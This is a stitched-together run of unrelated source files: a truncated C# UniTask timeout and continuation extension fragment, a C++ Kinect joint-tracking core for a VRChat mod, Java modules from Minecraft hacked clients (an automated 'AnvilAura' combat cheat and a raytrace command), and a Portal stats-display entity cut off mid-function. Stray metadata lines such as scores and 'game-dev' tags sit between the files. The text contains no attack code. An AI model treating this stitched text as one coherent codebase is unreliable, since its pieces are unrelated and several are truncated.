delayCancellationTokenSource = new CancellationTokenSource(); var timeoutTask = UniTask.Delay(timeout, delayType, timeoutCheckTiming, delayCancellationTokenSource.Token).SuppressCancellationThrow(); int winArgIndex; bool taskResultIsCanceled; try { (winArgIndex, taskResultIsCanceled, _) = await UniTask.WhenAny(task.SuppressCancellationThrow(), timeoutTask); } catch { delayCancellationTokenSource.Cancel(); delayCancellationTokenSource.Dispose(); throw; } // timeout if (winArgIndex == 1) { if (taskCancellationTokenSource != null) { taskCancellationTokenSource.Cancel(); taskCancellationTokenSource.Dispose(); } throw new TimeoutException("Exceed Timeout:" + timeout); } else { delayCancellationTokenSource.Cancel(); delayCancellationTokenSource.Dispose(); } if (taskResultIsCanceled) { Error.ThrowOperationCanceledException(); } } public static async UniTask<T> Timeout<T>(this UniTask<T> task, TimeSpan timeout, DelayType delayType = DelayType.DeltaTime, PlayerLoopTiming timeoutCheckTiming = PlayerLoopTiming.Update, CancellationTokenSource taskCancellationTokenSource = null) { var delayCancellationTokenSource = new CancellationTokenSource(); var timeoutTask = UniTask.Delay(timeout, delayType, timeoutCheckTiming, delayCancellationTokenSource.Token).SuppressCancellationThrow(); int winArgIndex; (bool IsCanceled, T Result) taskResult; try { (winArgIndex, taskResult, _) = await UniTask.WhenAny(task.SuppressCancellationThrow(), timeoutTask); } catch { delayCancellationTokenSource.Cancel(); delayCancellationTokenSource.Dispose(); throw; } // timeout if (winArgIndex == 1) { if (taskCancellationTokenSource != null) { taskCancellationTokenSource.Cancel(); taskCancellationTokenSource.Dispose(); } throw new TimeoutException("Exceed Timeout:" + timeout); } else { delayCancellationTokenSource.Cancel(); delayCancellationTokenSource.Dispose(); } if (taskResult.IsCanceled) { Error.ThrowOperationCanceledException(); } return taskResult.Result; } /// <summary> /// Timeout with suppress OperationCanceledException. Returns (bool, IsCanceled). /// </summary> public static async UniTask<bool> TimeoutWithoutException(this UniTask task, TimeSpan timeout, DelayType delayType = DelayType.DeltaTime, PlayerLoopTiming timeoutCheckTiming = PlayerLoopTiming.Update, CancellationTokenSource taskCancellationTokenSource = null) { var delayCancellationTokenSource = new CancellationTokenSource(); var timeoutTask = UniTask.Delay(timeout, delayType, timeoutCheckTiming, delayCancellationTokenSource.Token).SuppressCancellationThrow(); int winArgIndex; bool taskResultIsCanceled; try { (winArgIndex, taskResultIsCanceled, _) = await UniTask.WhenAny(task.SuppressCancellationThrow(), timeoutTask); } catch { delayCancellationTokenSource.Cancel(); delayCancellationTokenSource.Dispose(); return true; } // timeout if (winArgIndex == 1) { if (taskCancellationTokenSource != null) { taskCancellationTokenSource.Cancel(); taskCancellationTokenSource.Dispose(); } return true; } else { delayCancellationTokenSource.Cancel(); delayCancellationTokenSource.Dispose(); } if (taskResultIsCanceled) { return true; } return false; } /// <summary> /// Timeout with suppress OperationCanceledException. Returns (bool IsTimeout, T Result). /// </summary> public static async UniTask<(bool IsTimeout, T Result)> TimeoutWithoutException<T>(this UniTask<T> task, TimeSpan timeout, DelayType delayType = DelayType.DeltaTime, PlayerLoopTiming timeoutCheckTiming = PlayerLoopTiming.Update, CancellationTokenSource taskCancellationTokenSource = null) { var delayCancellationTokenSource = new CancellationTokenSource(); var timeoutTask = UniTask.Delay(timeout, delayType, timeoutCheckTiming, delayCancellationTokenSource.Token).SuppressCancellationThrow(); int winArgIndex; (bool IsCanceled, T Result) taskResult; try { (winArgIndex, taskResult, _) = await UniTask.WhenAny(task.SuppressCancellationThrow(), timeoutTask); } catch { delayCancellationTokenSource.Cancel(); delayCancellationTokenSource.Dispose(); return (true, default); } // timeout if (winArgIndex == 1) { if (taskCancellationTokenSource != null) { taskCancellationTokenSource.Cancel(); taskCancellationTokenSource.Dispose(); } return (true, default); } else { delayCancellationTokenSource.Cancel(); delayCancellationTokenSource.Dispose(); } if (taskResult.IsCanceled) { return (true, default); } return (false, taskResult.Result); } #endif public static void Forget(this UniTask task) { var awaiter = task.GetAwaiter(); if (awaiter.IsCompleted) { try { awaiter.GetResult(); } catch (Exception ex) { UniTaskScheduler.PublishUnobservedTaskException(ex); } } else { awaiter.SourceOnCompleted(state => { using (var t = (StateTuple<UniTask.Awaiter>)state) { try { t.Item1.GetResult(); } catch (Exception ex) { UniTaskScheduler.PublishUnobservedTaskException(ex); } } }, StateTuple.Create(awaiter)); } } public static void Forget(this UniTask task, Action<Exception> exceptionHandler, bool handleExceptionOnMainThread = true) { if (exceptionHandler == null) { Forget(task); } else { ForgetCoreWithCatch(task, exceptionHandler, handleExceptionOnMainThread).Forget(); } } static async UniTaskVoid ForgetCoreWithCatch(UniTask task, Action<Exception> exceptionHandler, bool handleExceptionOnMainThread) { try { await task; } catch (Exception ex) { try { if (handleExceptionOnMainThread) { #if UNITY_2018_3_OR_NEWER await UniTask.SwitchToMainThread(); #endif } exceptionHandler(ex); } catch (Exception ex2) { UniTaskScheduler.PublishUnobservedTaskException(ex2); } } } public static void Forget<T>(this UniTask<T> task) { var awaiter = task.GetAwaiter(); if (awaiter.IsCompleted) { try { awaiter.GetResult(); } catch (Exception ex) { UniTaskScheduler.PublishUnobservedTaskException(ex); } } else { awaiter.SourceOnCompleted(state => { using (var t = (StateTuple<UniTask<T>.Awaiter>)state) { try { t.Item1.GetResult(); } catch (Exception ex) { UniTaskScheduler.PublishUnobservedTaskException(ex); } } }, StateTuple.Create(awaiter)); } } public static void Forget<T>(this UniTask<T> task, Action<Exception> exceptionHandler, bool handleExceptionOnMainThread = true) { if (exceptionHandler == null) { task.Forget(); } else { ForgetCoreWithCatch(task, exceptionHandler, handleExceptionOnMainThread).Forget(); } } static async UniTaskVoid ForgetCoreWithCatch<T>(UniTask<T> task, Action<Exception> exceptionHandler, bool handleExceptionOnMainThread) { try { await task; } catch (Exception ex) { try { if (handleExceptionOnMainThread) { #if UNITY_2018_3_OR_NEWER await UniTask.SwitchToMainThread(); #endif } exceptionHandler(ex); } catch (Exception ex2) { UniTaskScheduler.PublishUnobservedTaskException(ex2); } } } public static async UniTask ContinueWith<T>(this UniTask<T> task, Action<T> continuationFunction) { continuationFunction(await task); } public static async UniTask ContinueWith<T>(this UniTask<T> task, Func<T, UniTask> continuationFunction) { await continuationFunction(await task); } public static async UniTask<TR> ContinueWith<T, TR>(this UniTask<T> task, Func<T, TR> continuationFunction) { return continuationFunction(await task); } public static async UniTask<TR> ContinueWith<T, TR>(this UniTask<T> task, Func<T, UniTask<TR>> continuationFunction) { return await continuationFunction(await task); } public static async UniTask ContinueWith(this UniTask task, Action continuationFunction) { await task; continuationFunction(); } public static async UniTask ContinueWith(this UniTask task, Func<UniTask> continuationFunction) { await task; await continuationFunction(); } public static async UniTask<T> ContinueWith<T>(this UniTask task, Func<T> continuationFunction) { await task; return continuationFunction(); } public static async UniTask<T> ContinueWith<T>(this UniTask task, Func<UniTask<T>> continuationFunction) { await task; return await continuationFunction(); } public static async UniTask<T> Unwrap<T>(this UniTask<UniTask<T>> task) { return await await task; } public static async UniTask Unwrap(this UniTask<UniTask> task) { await await task; } public static async UniTask<T> Unwrap<T>(this Task<UniTask<T>> task) { return await await task; } public static async UniTask<T> Unwrap<T>(this Task<UniTask<T>> task, bool continueOnCapturedContext) { return await await task.ConfigureAwait(continueOnCapturedContext); } public static async UniTask Unwrap(this Task<UniTask> task) { await await task; } public static async UniTask Unwrap(this Task<UniTask> task, bool continueOnCapturedContext) { await await task.ConfigureAwait(continueOnCapturedContext); } public static async UniTask<T> Unwrap<T>(this UniTask<Task<T>> task) { return await await task; } public static async UniTask<T> Unwrap<T>(this UniTask<Task<T>> task, bool continueOnCapturedContext) { return await (await task).ConfigureAwait(continueOnCapturedContext); } public static async UniTask Unwrap(this UniTask<Task> task) { await await task; } public static async UniTask Unwrap(this UniTask<Task> task, bool continueOnCapturedContext) { await (await task).ConfigureAwait(continueOnCapturedContext); } #if UNITY_2018_3_OR_NEWER sealed class ToCoroutineEnumerator : IEnumerator { bool completed; UniTask task; Action<Exception> exceptionHandler = null; bool isStarted = false; ExceptionDispatchInfo exception; public ToCoroutineEnumerator(UniTask task, Action<Exception> exceptionHandler) { completed = false; this.exceptionHandler = exceptionHandler; this.task = task; } async UniTaskVoid RunTask(UniTask task) { try { await task; } catch (Exception ex) { if (exceptionHandler != null) { exceptionHandler(ex); } else { this.exception = ExceptionDispatchInfo.Capture(ex); } } finally { completed = true; } } public object Current => null; public bool MoveNext() { if (!isStarted) { isStarted = true; RunTask(task).Forget(); } if (exception != null) { exception.Throw(); return false; } return !completed; } void IEnumerator.Reset() { } } sealed class ToCoroutineEnumerator<T> : IEnumerator { bool completed; Action<T> resultHandler = null; Action<Exception> exceptionHandler = null; bool isStarted = false; UniTask<T> task; object current = null; ExceptionDispatchInfo exception; public ToCoroutineEnumerator(UniTask<T> task, Action<T> resultHandler, Action<Exception> exceptionHandler) { completed = false; this.task = task; this.resultHandler = resultHandler; this.exceptionHandler = exceptionHandler; } async UniTaskVoid RunTask(UniTask<T> task) { try { var value = await task; current = value; // boxed if T is struct... if (resultHandler != null) { resultHandler(value); } } catch (Exception ex) { if (exceptionHandler != null) { exceptionHandler(ex); } else { this.exception = ExceptionDispatchInfo.Capture(ex); } } finally { completed = true; } } public object Current => current; public bool MoveNext() { if (!isStarted) { isStarted = true; RunTask(task).Forget(); } if (exception != null) { exception.Throw(); return false; } return !completed; } void IEnumerator.Reset() { } } #endif } }
1
0.975615
1
0.975615
game-dev
MEDIA
0.449007
game-dev
0.97154
1
0.97154
SDraw/ml_mods_vrc
3,672
ml_kte_cpp_v2/CCore.cpp
#include "stdafx.h" #include "CCore.h" #include "CKinectHandler.h" enum HistoryIndex : size_t { HI_Previous = 0U, HI_Last, HI_Count }; CCore::CCore() { m_kinectHandler = nullptr; m_kinectThread = nullptr; m_kinectActive = false; m_frameHistoryCount = 0U; } CCore::~CCore() { } void CCore::Initialize() { m_kinectHandler = new CKinectHandler(); m_kinectActive = true; m_kinectThread = new std::thread(&CCore::KinectProcess, this); } void CCore::Terminate() { if (m_kinectThread) { m_kinectActive = false; m_kinectThread->join(); m_kinectThread = nullptr; } delete m_kinectHandler; m_kinectHandler = nullptr; for (auto l_frame : m_frameHistory) delete l_frame; m_frameHistory.clear(); m_frameHistoryCount = 0U; } void CCore::GetTrackingData(float *p_positions, float *p_rotations) { if (m_kinectLock.try_lock()) { const FrameData *l_frameData = m_kinectHandler->GetFrameData(); if (m_frameHistoryCount == HI_Count) { if (m_frameHistory[HI_Last]->m_frameTime != l_frameData->m_frameTime) { // Copy 'Last' to 'Previous', current to 'Last' std::memcpy(m_frameHistory[HI_Previous], m_frameHistory[HI_Last], sizeof(FrameData)); std::memcpy(m_frameHistory[HI_Last], l_frameData, sizeof(FrameData)); } } else { FrameData *l_frameSnapshot = new FrameData(); std::memcpy(l_frameSnapshot, l_frameData, sizeof(FrameData)); m_frameHistory.push_back(l_frameSnapshot); // Frame time is irrelevant m_frameHistoryCount++; } m_kinectLock.unlock(); } // Smooth history data if (m_frameHistoryCount == HI_Count) { const ULONGLONG l_diff = (GetTickCount64() - m_frameHistory[HI_Last]->m_tick); float l_smooth = static_cast<float>(l_diff) / 33.333333f; l_smooth = glm::clamp(l_smooth, 0.f, 1.f); for (size_t i = 0U; i < _JointType::JointType_Count; i++) { const JointData &l_jointA = m_frameHistory[HI_Previous]->m_joints[i]; const JointData &l_jointB = m_frameHistory[HI_Last]->m_joints[i]; const glm::vec3 l_jointPosA(-l_jointA.x, l_jointA.y, -l_jointA.z); const glm::vec3 l_jointPosB(-l_jointB.x, l_jointB.y, -l_jointB.z); const glm::quat l_jointRotA(l_jointA.rw, -l_jointA.rx, l_jointA.ry, -l_jointA.rz); const glm::quat l_jointRotB(l_jointB.rw, -l_jointB.rx, l_jointB.ry, -l_jointB.rz); const glm::vec3 l_linearPos = glm::mix(l_jointPosA, l_jointPosB, l_smooth); const glm::quat l_linearRot = glm::slerp(l_jointRotA, l_jointRotB, l_smooth); p_positions[i * 3] = l_linearPos.x; p_positions[i * 3 + 1] = l_linearPos.y; p_positions[i * 3 + 2] = l_linearPos.z; p_rotations[i * 4] = l_linearRot.x; p_rotations[i * 4 + 1] = l_linearRot.y; p_rotations[i * 4 + 2] = l_linearRot.z; p_rotations[i * 4 + 3] = l_linearRot.w; } } } void CCore::KinectProcess() { const std::chrono::milliseconds l_threadDelay(33U); bool l_initialized = m_kinectHandler->Initialize(); while (m_kinectActive) { if (l_initialized) { m_kinectLock.lock(); m_kinectHandler->Update(); m_kinectLock.unlock(); } else l_initialized = m_kinectHandler->Initialize(); std::this_thread::sleep_for(l_threadDelay); } if (l_initialized) m_kinectHandler->Terminate(); }
1
0.864784
1
0.864784
game-dev
MEDIA
0.648265
game-dev
0.84381
1
0.84381
colorblindness/3arthh4ck
7,623
src/main/java/me/earth/earthhack/impl/modules/combat/anvilaura/AnvilAura.java
package me.earth.earthhack.impl.modules.combat.anvilaura; import me.earth.earthhack.api.module.util.Category; import me.earth.earthhack.api.setting.Setting; import me.earth.earthhack.api.setting.settings.BooleanSetting; import me.earth.earthhack.api.setting.settings.ColorSetting; import me.earth.earthhack.api.setting.settings.EnumSetting; import me.earth.earthhack.api.setting.settings.NumberSetting; import me.earth.earthhack.impl.modules.combat.anvilaura.modes.AnvilMode; import me.earth.earthhack.impl.modules.combat.anvilaura.modes.AnvilStage; import me.earth.earthhack.impl.modules.combat.anvilaura.util.AnvilResult; import me.earth.earthhack.impl.util.helpers.blocks.ObbyListenerModule; import me.earth.earthhack.impl.util.math.StopWatch; import me.earth.earthhack.impl.util.minecraft.InventoryUtil; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.init.Blocks; import net.minecraft.util.EnumFacing; import net.minecraft.util.math.AxisAlignedBB; import net.minecraft.util.math.BlockPos; import java.awt.*; import java.util.Collections; import java.util.List; import java.util.concurrent.atomic.AtomicBoolean; // TODO: when mining we need 5 ticks delay public class AnvilAura extends ObbyListenerModule<ListenerAnvilAura> { protected final Setting<AnvilMode> mode = register(new EnumSetting<>("Mode", AnvilMode.Mine)); protected final Setting<Integer> fastDelay = register(new NumberSetting<>("Fast-Delay", 0, 0, 1000)); protected final Setting<Double> range = register(new NumberSetting<>("Range", 5.25, 0.1, 6.0)); protected final Setting<Boolean> holdingAnvil = register(new BooleanSetting("HoldingAnvil", false)); protected final Setting<Integer> yHeight = register(new NumberSetting<>("Y-Offset", 3, 0, 256)); protected final Setting<Boolean> trap = register(new BooleanSetting("Trap", true)); protected final Setting<Boolean> mineESP = register(new BooleanSetting("Mine-ESP", true)); protected final Setting<Boolean> renderBest = register(new BooleanSetting("RenderBest", false)); protected final Setting<Boolean> checkFalling = register(new BooleanSetting("CheckFalling", true)); protected final Setting<Boolean> pressureFalling = register(new BooleanSetting("PressureFalling", false)); protected final Setting<Integer> helpingBlocks = register(new NumberSetting<>("HelpingBlocks", 6, 0, 12)); protected final Setting<Integer> trapHelping = register(new NumberSetting<>("Trap-Helping", 2, 0, 3)); protected final Setting<Double> mineRange = register(new NumberSetting<>("Mine-Range", 6.0, 0.1, 10.0)); public final ColorSetting box = register(new ColorSetting("Box", new Color(100, 100, 100, 155))); public final ColorSetting outline = register(new ColorSetting("Outline", new Color(0, 0, 0, 0))); public final Setting<Float> lineWidth = register(new NumberSetting<>("LineWidth", 1.5f, 0.0f, 10.0f)); protected final Setting<Integer> mineTime = register(new NumberSetting<>("Mine-Time", 250, 0, 1000)); protected final Setting<Boolean> confirmMine = register(new BooleanSetting("ConfirmMine", true)); protected final Setting<Boolean> pressurePass = register(new BooleanSetting("PressurePass", false)); protected final Setting<Boolean> crystal = register(new BooleanSetting("Crystal", false)); protected final Setting<Integer> crystalDelay = register(new NumberSetting<>("CrystalDelay", 500, 0, 1000)); protected List<AxisAlignedBB> renderBBs = Collections.emptyList(); protected final AtomicBoolean awaiting = new AtomicBoolean(); protected final StopWatch renderTimer = new StopWatch(); protected final StopWatch mineTimer = new StopWatch(); protected final StopWatch awaitTimer = new StopWatch(); protected final StopWatch crystalTimer = new StopWatch(); protected AnvilStage stage = AnvilStage.ANVIL; protected AnvilResult currentResult; protected EntityPlayer target; protected AxisAlignedBB mineBB; protected Runnable action; protected int pressureSlot; protected int crystalSlot; protected int pickSlot; protected int obbySlot; protected BlockPos awaitPos; protected BlockPos minePos; protected EnumFacing mineFacing; public AnvilAura() { super("AnvilAura", Category.Combat); this.listeners.clear(); // Remove DisablingModule listeners this.listeners.add(this.listener); this.listeners.add(new ListenerRender(this)); super.delay.setValue(500); } @Override protected boolean checkNull() { renderBBs = Collections.emptyList(); mineBB = null; packets.clear(); blocksPlaced = 0; if (mc.player == null || mc.world == null) { if (!holdingAnvil.getValue() && mode.getValue() != AnvilMode.Render) { this.disable(); } return false; } return true; } @Override protected void onDisable() { super.onDisable(); } @Override public String getDisplayInfo() { if (renderTimer.passed(600)) { currentResult = null; target = null; } return target != null ? target.getName() : null; } @Override public boolean execute() { switch (stage) { case OBSIDIAN: if (obbySlot == -1) { return false; } slot = obbySlot; break; case PRESSURE: if (pressureSlot == -1) { return false; } slot = pressureSlot; break; case CRYSTAL: if (crystalSlot == -1) { return false; } slot = crystalSlot; default: } if (action != null) { action.run(); return true; } return super.execute(); } @Override protected ListenerAnvilAura createListener() { return new ListenerAnvilAura(this, 500); } @Override protected boolean entityCheckSimple(BlockPos pos) { if (stage == AnvilStage.PRESSURE) { return true; } return super.entityCheckSimple(pos); } @Override public boolean entityCheck(BlockPos pos) { if (stage == AnvilStage.PRESSURE) { return true; } return super.entityCheck(pos); } @Override protected boolean quickEntityCheck(BlockPos pos) { if (stage == AnvilStage.PRESSURE) { return false; } return super.quickEntityCheck(pos); } @Override public int getDelay() { AnvilResult r = currentResult; if (r != null && r.hasSpecialPressure()) { return fastDelay.getValue(); } return super.getDelay(); } public void setCurrentResult(AnvilResult result) { this.renderTimer.reset(); this.currentResult = result; this.target = result.getPlayer(); } public boolean isMining() { return mode.getValue() == AnvilMode.Mine && (!holdingAnvil.getValue() || InventoryUtil.isHolding(Blocks.ANVIL)); } }
1
0.892036
1
0.892036
game-dev
MEDIA
0.97731
game-dev
0.964891
1
0.964891
Arakne/Araknemu
4,221
src/test/java/fr/quatrevieux/araknemu/game/fight/castable/effect/handler/characteristic/AlterVitalityHookTest.java
/* * This file is part of Araknemu. * * Araknemu is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Araknemu is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with Araknemu. If not, see <https://www.gnu.org/licenses/>. * * Copyright (c) 2017-2022 Vincent Quatrevieux */ package fr.quatrevieux.araknemu.game.fight.castable.effect.handler.characteristic; import fr.quatrevieux.araknemu.data.constant.Characteristic; import fr.quatrevieux.araknemu.game.fight.Fight; import fr.quatrevieux.araknemu.game.fight.FightBaseCase; import fr.quatrevieux.araknemu.game.fight.castable.effect.buff.FightBuff; import fr.quatrevieux.araknemu.game.fight.fighter.player.PlayerFighter; import fr.quatrevieux.araknemu.game.spell.Spell; import fr.quatrevieux.araknemu.game.spell.effect.SpellEffect; import fr.quatrevieux.araknemu.network.game.out.fight.action.ActionEffect; import fr.quatrevieux.araknemu.network.game.out.fight.turn.TurnMiddle; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; import org.mockito.Mockito; import static org.junit.jupiter.api.Assertions.assertEquals; class AlterVitalityHookTest extends FightBaseCase { private Fight fight; private PlayerFighter caster; private PlayerFighter target; @Override @BeforeEach public void setUp() throws Exception { super.setUp(); fight = createFight(); fight.nextState(); fight.turnList().start(); caster = player.fighter(); target = other.fighter(); target.move(fight.map().get(123)); requestStack.clear(); } @Test void add() { AlterVitalityHook hook = AlterVitalityHook.add(fight); requestStack.clear(); SpellEffect effect = Mockito.mock(SpellEffect.class); Mockito.when(effect.effect()).thenReturn(123); Mockito.when(effect.min()).thenReturn(50); Mockito.when(effect.duration()).thenReturn(5); FightBuff buff = new FightBuff(effect, Mockito.mock(Spell.class), caster, target, hook); hook.onBuffStarted(buff); requestStack.assertAll( new TurnMiddle(fight.fighters()), ActionEffect.buff(buff, 50) ); assertEquals(50, target.characteristics().get(Characteristic.VITALITY)); assertEquals(100, target.life().max()); assertEquals(100, target.life().current()); hook.onBuffTerminated(buff); requestStack.assertLast(new TurnMiddle(fight.fighters())); assertEquals(0, target.characteristics().get(Characteristic.VITALITY)); assertEquals(50, target.life().max()); assertEquals(50, target.life().current()); } @Test void remove() { AlterVitalityHook hook = AlterVitalityHook.remove(fight); requestStack.clear(); SpellEffect effect = Mockito.mock(SpellEffect.class); Mockito.when(effect.effect()).thenReturn(123); Mockito.when(effect.min()).thenReturn(20); Mockito.when(effect.duration()).thenReturn(5); FightBuff buff = new FightBuff(effect, Mockito.mock(Spell.class), caster, target, hook); hook.onBuffStarted(buff); requestStack.assertAll( new TurnMiddle(fight.fighters()), ActionEffect.buff(buff, 20) ); assertEquals(-20, target.characteristics().get(Characteristic.VITALITY)); assertEquals(30, target.life().max()); assertEquals(30, target.life().current()); hook.onBuffTerminated(buff); requestStack.assertLast(new TurnMiddle(fight.fighters())); assertEquals(0, target.characteristics().get(Characteristic.VITALITY)); assertEquals(50, target.life().max()); assertEquals(50, target.life().current()); } }
1
0.850909
1
0.850909
game-dev
MEDIA
0.870634
game-dev,testing-qa
0.79579
1
0.79579
anOtherAnalyse/FamilyFunPack
1,330
src/main/java/family_fun_pack/commands/RaytraceCommand.java
package family_fun_pack.commands; import net.minecraft.client.Minecraft; import net.minecraft.entity.Entity; import net.minecraft.util.math.BlockPos; import net.minecraft.util.math.RayTraceResult; import net.minecraftforge.fml.relauncher.SideOnly; import net.minecraftforge.fml.relauncher.Side; /* Get entity id / position of entity / block we are staring at */ @SideOnly(Side.CLIENT) public class RaytraceCommand extends Command { public RaytraceCommand() { super("raytrace"); } public String usage() { return this.getName(); } public String execute(String[] args) { RayTraceResult target_ray = Minecraft.getMinecraft().objectMouseOver; if(target_ray != null) { if(target_ray.typeOfHit == RayTraceResult.Type.BLOCK) { BlockPos pos = target_ray.getBlockPos(); return String.format("Block at (%d, %d, %d)", pos.getX(), pos.getY(), pos.getZ()); } else if(target_ray.typeOfHit == RayTraceResult.Type.ENTITY) { Entity entity = target_ray.entityHit; return String.format("Entity id is %d%s%s", entity.getEntityId(), (args.length > 1 && args[1].equals("+") ? " [" + entity.getUniqueID() + "]" : ""), (entity.isRiding() ? String.format(" riding %d", entity.getRidingEntity().getEntityId()) : "")); } return "No target"; } return null; } }
1
0.556172
1
0.556172
game-dev
MEDIA
0.974882
game-dev
0.816218
1
0.816218
SourceEngine-CommunityEdition/source
13,316
game/server/portal/prop_portal_stats_display.cpp
//========= Copyright Valve Corporation, All rights reserved. ============// // // Purpose: Implements the big scary boom-boom machine Antlions fear. // //=============================================================================// #include "cbase.h" #include "baseanimating.h" #include "portal_player.h" #include "EnvMessage.h" #include "fmtstr.h" #include "vguiscreen.h" #include "point_bonusmaps_accessor.h" #include "portal_shareddefs.h" #define PORTAL_STATS_DISPLAY_MODEL_NAME "models/props/Round_elevator_body.mdl" class CPropPortalStatsDisplay : public CBaseAnimating { public: DECLARE_CLASS( CPropPortalStatsDisplay, CBaseAnimating ); DECLARE_DATADESC(); DECLARE_SERVERCLASS(); virtual ~CPropPortalStatsDisplay(); virtual int UpdateTransmitState(); virtual void SetTransmit( CCheckTransmitInfo *pInfo, bool bAlways ); virtual void Spawn( void ); virtual void Precache( void ); virtual void OnRestore( void ); void ScreenVisible( bool bVisible ); void Disable( void ); void Enable( void ); void InputDisable( inputdata_t &inputdata ); void InputEnable( inputdata_t &inputdata ); void InputUpdateStats( inputdata_t &inputdata ); void InputResetPlayerStats( inputdata_t &inputdata ); private: CNetworkVar( bool, m_bEnabled ); CNetworkVar( int, m_iNumPortalsPlaced ); CNetworkVar( int, m_iNumStepsTaken ); CNetworkVar( float, m_fNumSecondsTaken ); CNetworkVar( int, m_iBronzeObjective ); CNetworkVar( int, m_iSilverObjective ); CNetworkVar( int, m_iGoldObjective ); CNetworkString( szChallengeFileName, 128 ); CNetworkString( szChallengeMapName, 32 ); CNetworkString( szChallengeName, 32 ); CNetworkVar( int, m_iDisplayObjective ); COutputEvent m_OnMetBronzeObjective; COutputEvent m_OnMetSilverObjective; COutputEvent m_OnMetGoldObjective; COutputEvent m_OnFailedAllObjectives; private: // Control panel void GetControlPanelInfo( int nPanelIndex, const char *&pPanelName ); void GetControlPanelClassName( int nPanelIndex, const char *&pPanelName ); void SpawnControlPanels( void ); void RestoreControlPanels( void ); typedef CHandle<CVGuiScreen> ScreenHandle_t; CUtlVector<ScreenHandle_t> m_hScreens; }; LINK_ENTITY_TO_CLASS( prop_portal_stats_display, CPropPortalStatsDisplay ); //----------------------------------------------------------------------------- // Save/load //----------------------------------------------------------------------------- BEGIN_DATADESC( CPropPortalStatsDisplay ) DEFINE_FIELD( m_bEnabled, FIELD_BOOLEAN ), DEFINE_FIELD( m_iNumPortalsPlaced, FIELD_INTEGER ), DEFINE_FIELD( m_iNumStepsTaken, FIELD_INTEGER ), DEFINE_FIELD( m_fNumSecondsTaken, FIELD_FLOAT ), DEFINE_FIELD( m_iBronzeObjective, FIELD_INTEGER ), DEFINE_FIELD( m_iSilverObjective, FIELD_INTEGER ), DEFINE_FIELD( m_iGoldObjective, FIELD_INTEGER ), DEFINE_AUTO_ARRAY( szChallengeFileName, FIELD_CHARACTER ), DEFINE_AUTO_ARRAY( szChallengeMapName, FIELD_CHARACTER ), DEFINE_AUTO_ARRAY( szChallengeName, FIELD_CHARACTER ), DEFINE_FIELD( m_iDisplayObjective, FIELD_INTEGER ), //DEFINE_UTLVECTOR( m_hScreens, FIELD_EHANDLE ), DEFINE_INPUTFUNC( FIELD_VOID, "Disable", InputDisable ), DEFINE_INPUTFUNC( FIELD_VOID, "Enable", InputEnable ), DEFINE_INPUTFUNC( FIELD_VOID, "UpdateStats", InputUpdateStats ), DEFINE_INPUTFUNC( FIELD_VOID, "ResetPlayerStats", InputResetPlayerStats ), DEFINE_OUTPUT ( m_OnMetBronzeObjective, "OnMetBronzeObjective" ), DEFINE_OUTPUT ( m_OnMetSilverObjective, "OnMetSilverObjective" ), DEFINE_OUTPUT ( m_OnMetGoldObjective, "OnMetGoldObjective" ), DEFINE_OUTPUT ( m_OnFailedAllObjectives, "OnFailedAllObjectives" ), END_DATADESC() IMPLEMENT_SERVERCLASS_ST( CPropPortalStatsDisplay, DT_PropPortalStatsDisplay ) SendPropBool( SENDINFO(m_bEnabled) ), SendPropInt( SENDINFO(m_iNumPortalsPlaced) ), SendPropInt( SENDINFO(m_iNumStepsTaken) ), SendPropFloat( SENDINFO(m_fNumSecondsTaken) ), SendPropInt( SENDINFO(m_iBronzeObjective) ), SendPropInt( SENDINFO(m_iSilverObjective) ), SendPropInt( SENDINFO(m_iGoldObjective) ), SendPropString( SENDINFO( szChallengeFileName ) ), SendPropString( SENDINFO( szChallengeMapName ) ), SendPropString( SENDINFO( szChallengeName ) ), SendPropInt( SENDINFO(m_iDisplayObjective) ), END_SEND_TABLE() CPropPortalStatsDisplay::~CPropPortalStatsDisplay() { int i; // Kill the control panels for ( i = m_hScreens.Count(); --i >= 0; ) { DestroyVGuiScreen( m_hScreens[i].Get() ); } m_hScreens.RemoveAll(); } int CPropPortalStatsDisplay::UpdateTransmitState() { return SetTransmitState( FL_EDICT_FULLCHECK ); } void CPropPortalStatsDisplay::SetTransmit( CCheckTransmitInfo *pInfo, bool bAlways ) { // Are we already marked for transmission? if ( pInfo->m_pTransmitEdict->Get( entindex() ) ) return; BaseClass::SetTransmit( pInfo, bAlways ); // Force our screens to be sent too. for ( int i=0; i < m_hScreens.Count(); i++ ) { CVGuiScreen *pScreen = m_hScreens[i].Get(); pScreen->SetTransmit( pInfo, bAlways ); } } void CPropPortalStatsDisplay::Spawn( void ) { char *szModel = (char *)STRING( GetModelName() ); if (!szModel || !*szModel) { szModel = PORTAL_STATS_DISPLAY_MODEL_NAME; SetModelName( AllocPooledString(szModel) ); } Precache(); SetModel( szModel ); SetSolid( SOLID_VPHYSICS ); VPhysicsInitStatic(); BaseClass::Spawn(); int iBronze, iSilver, iGold; BonusMapChallengeObjectives( iBronze, iSilver, iGold ); m_iBronzeObjective = iBronze; m_iSilverObjective = iSilver; m_iGoldObjective = iGold; BonusMapChallengeNames( szChallengeFileName.GetForModify(), szChallengeMapName.GetForModify(), szChallengeName.GetForModify() ); m_bEnabled = false; int iSequence = SelectHeaviestSequence ( ACT_IDLE ); if ( iSequence != ACT_INVALID ) { SetSequence( iSequence ); ResetSequenceInfo(); //Do this so we get the nice ramp-up effect. m_flPlaybackRate = random->RandomFloat( 0.0f, 1.0f ); } SpawnControlPanels(); ScreenVisible( m_bEnabled ); } void CPropPortalStatsDisplay::Precache( void ) { BaseClass::Precache(); PrecacheModel( STRING( GetModelName() ) ); PrecacheVGuiScreen( "portal_stats_display_screen" ); } void CPropPortalStatsDisplay::OnRestore( void ) { BaseClass::OnRestore(); RestoreControlPanels(); ScreenVisible( m_bEnabled ); } void CPropPortalStatsDisplay::ScreenVisible( bool bVisible ) { for ( int iScreen = 0; iScreen < m_hScreens.Count(); ++iScreen ) { CVGuiScreen *pScreen = m_hScreens[ iScreen ].Get(); if ( bVisible ) pScreen->RemoveEffects( EF_NODRAW ); else pScreen->AddEffects( EF_NODRAW ); } } void CPropPortalStatsDisplay::Disable( void ) { if ( !m_bEnabled ) return; m_bEnabled = false; ScreenVisible( false ); } void CPropPortalStatsDisplay::Enable( void ) { 